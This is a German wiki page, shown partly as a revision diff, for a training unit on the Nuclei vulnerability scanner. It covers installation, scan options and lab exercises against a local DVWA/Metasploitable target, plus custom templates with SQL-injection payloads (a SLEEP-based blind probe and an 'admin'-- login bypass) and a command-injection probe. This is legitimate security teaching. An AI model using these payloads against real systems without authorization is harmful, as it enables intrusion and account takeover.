Nuclei-1: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
(Die Seite wurde neu angelegt: „= Schulungseinheit: Schwachstellenscans mit Nuclei = == Thema == *Nuclei – Automatisierter Schwachstellenscanner mit YAML-basierten Templates == Ziel == *T…“) |
|||
| Zeile 9: | Zeile 9: | ||
*Sie lernen, eigene Templates für spezifische Lücken zu erstellen | *Sie lernen, eigene Templates für spezifische Lücken zu erstellen | ||
| − | = | + | = Vorbereiten: Einstieg & Motivation = |
*Nuclei ist ein schneller, template-basierter Schwachstellenscanner für Webanwendungen und Infrastruktur | *Nuclei ist ein schneller, template-basierter Schwachstellenscanner für Webanwendungen und Infrastruktur | ||
*Es nutzt YAML-Templates zur Erkennung von Schwachstellen wie: | *Es nutzt YAML-Templates zur Erkennung von Schwachstellen wie: | ||
| Zeile 20: | Zeile 20: | ||
*Einfache Integration in CI/CD, eigene Tools und Laborszenarien | *Einfache Integration in CI/CD, eigene Tools und Laborszenarien | ||
| − | = | + | = Vormachen/Erklären: Grundlagen & Aufbau = |
== Installation == | == Installation == | ||
| Zeile 54: | Zeile 54: | ||
nuclei -u https://ziel.local -o ergebnisse.json -json | nuclei -u https://ziel.local -o ergebnisse.json -json | ||
| − | = | + | = Nachmachen/Üben: Aufgaben am Zielsystem = |
== Voraussetzungen == | == Voraussetzungen == | ||
| Zeile 86: | Zeile 86: | ||
nuclei -l targets.txt -o report.json -json | nuclei -l targets.txt -o report.json -json | ||
| − | = | + | = Selbstständige Anwendung: Eigene Templates = |
== Ziel == | == Ziel == | ||
| Zeile 92: | Zeile 92: | ||
== Beispiel 1: Blind SQL Injection == | == Beispiel 1: Blind SQL Injection == | ||
| − | |||
id: custom-blind-sqli | id: custom-blind-sqli | ||
info: | info: | ||
| Zeile 106: | Zeile 105: | ||
dsl: | dsl: | ||
- duration>=5 | - duration>=5 | ||
| − | |||
*Ausführen: | *Ausführen: | ||
| Zeile 112: | Zeile 110: | ||
== Beispiel 2: Command Injection == | == Beispiel 2: Command Injection == | ||
| − | |||
id: custom-cmd-injection | id: custom-cmd-injection | ||
info: | info: | ||
| Zeile 126: | Zeile 123: | ||
words: | words: | ||
- "uid=" | - "uid=" | ||
| − | |||
== Beispiel 3: POST-basierte SQL Injection == | == Beispiel 3: POST-basierte SQL Injection == | ||
| − | |||
id: custom-post-sqli | id: custom-post-sqli | ||
info: | info: | ||
| Zeile 146: | Zeile 141: | ||
words: | words: | ||
- "Welcome" | - "Welcome" | ||
| − | |||
= Hinweise zur Nachbereitung = | = Hinweise zur Nachbereitung = | ||
Aktuelle Version vom 12. Mai 2025, 16:24 Uhr
Schulungseinheit: Schwachstellenscans mit Nuclei
Thema
- Nuclei – Automatisierter Schwachstellenscanner mit YAML-basierten Templates
Ziel
- Teilnehmende verstehen Aufbau und Funktionsweise von Nuclei
- Sie führen zielgerichtete Schwachstellenscans durch und werten die Ergebnisse aus
- Sie lernen, eigene Templates für spezifische Lücken zu erstellen
Vorbereiten: Einstieg & Motivation
- Nuclei ist ein schneller, template-basierter Schwachstellenscanner für Webanwendungen und Infrastruktur
- Es nutzt YAML-Templates zur Erkennung von Schwachstellen wie:
- CVEs
- OWASP Top 10
- Fehlkonfigurationen
- Technologieerkennung
- Header- oder Cookie-Manipulation
- Automatisierte Schwachstellenerkennung auf mehreren Targets gleichzeitig
- Einfache Integration in CI/CD, eigene Tools und Laborszenarien
Vormachen/Erklären: Grundlagen & Aufbau
Installation
- Installiere die jeweils aktuelle Version von Nuclei über Go:
apt install -y golang go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest export PATH=$PATH:$(go env GOPATH)/bin nuclei -version
Templates aktualisieren
nuclei -update-templates
Grundstruktur eines Befehls
nuclei -u <ziel> -t <template> -severity <level>
Wichtige Optionen
- -u: Einzelnes Ziel (z.B. -u https://ziel.local)
- -l: Liste von Zielen (targets.txt)
- -t: Template oder Verzeichnis (z.B. cves/, exposures/)
- -severity: Filter nach Schweregrad
- -rate-limit: Requests pro Sekunde
- -timeout / -retries: Scan-Zuverlässigkeit
- -proxy: z.B. für Burp-Suite
- -json / -o: Berichte
Beispielhafter Scan
nuclei -u https://ziel.local -t cves/ -severity critical -rate-limit 50
Templates anzeigen
nuclei -tl
Ergebnis speichern
nuclei -u https://ziel.local -o ergebnisse.json -json
Nachmachen/Üben: Aufgaben am Zielsystem
Voraussetzungen
- Angreifer: Kali-Linux mit Nuclei
- Ziel: Web-Appliance (z.B. DVWA, Metasploitable2) erreichbar unter http://10.0.10.104
- Datei mit Ziel-IP:
echo "http://10.0.10.104" > targets.txt
Aufgabe 1
- Führe einen allgemeinen Schwachstellenscan gegen das Ziel aus:
nuclei -l targets.txt -severity high,critical
Aufgabe 2
- Suche gezielt nach SQL-Injection-Lücken:
nuclei -l targets.txt -tags sqli
Aufgabe 3
- Unterscheide klassische SQLi von Blind SQLi:
nuclei -l targets.txt -tags sqli-blind
Aufgabe 4
- Finde eine funktionierende Command Injection:
nuclei -l targets.txt -tags cmd-injection
Aufgabe 5
- Scanne mit Proxy (z. B. Burp):
nuclei -l targets.txt -proxy http://127.0.0.1:8080
Aufgabe 6
- Erzeuge einen JSON-Report:
nuclei -l targets.txt -o report.json -json
Selbstständige Anwendung: Eigene Templates
Ziel
Teilnehmende erstellen ein eigenes Template für eine bekannte Schwachstelle
Beispiel 1: Blind SQL Injection
id: custom-blind-sqli info:
name: Blind SQLi Test (Sleep Delay) severity: high tags: sqli,blind
requests:
- method: GET
path:
- "Vorlage:BaseURL/vuln.php?id=1' AND SLEEP(5)--"
matchers:
- type: dsl
dsl:
- duration>=5
- Ausführen:
nuclei -t ./custom-blind-sqli.yaml -u http://10.0.10.104
Beispiel 2: Command Injection
id: custom-cmd-injection info:
name: CMD Injection (id) severity: critical tags: cmd-injection
requests:
- method: GET
path:
- "Vorlage:BaseURL/cmd.php?cmd=id"
matchers:
- type: word
words:
- "uid="
Beispiel 3: POST-basierte SQL Injection
id: custom-post-sqli info:
name: POST SQL Injection severity: high tags: sqli,post
requests:
- method: POST
path:
- "Vorlage:BaseURL/login.php"
body: "user=admin'--&pass=test"
headers:
Content-Type: application/x-www-form-urlencoded
matchers:
- type: word
words:
- "Welcome"
Hinweise zur Nachbereitung
- Ergebnisse besprechen, kritisch hinterfragen
- Unterschiede zwischen False Positives und echten Lücken erkennen
- Sicherer Umgang mit Schwachstellen-Informationen
- Vorschläge zur Behebung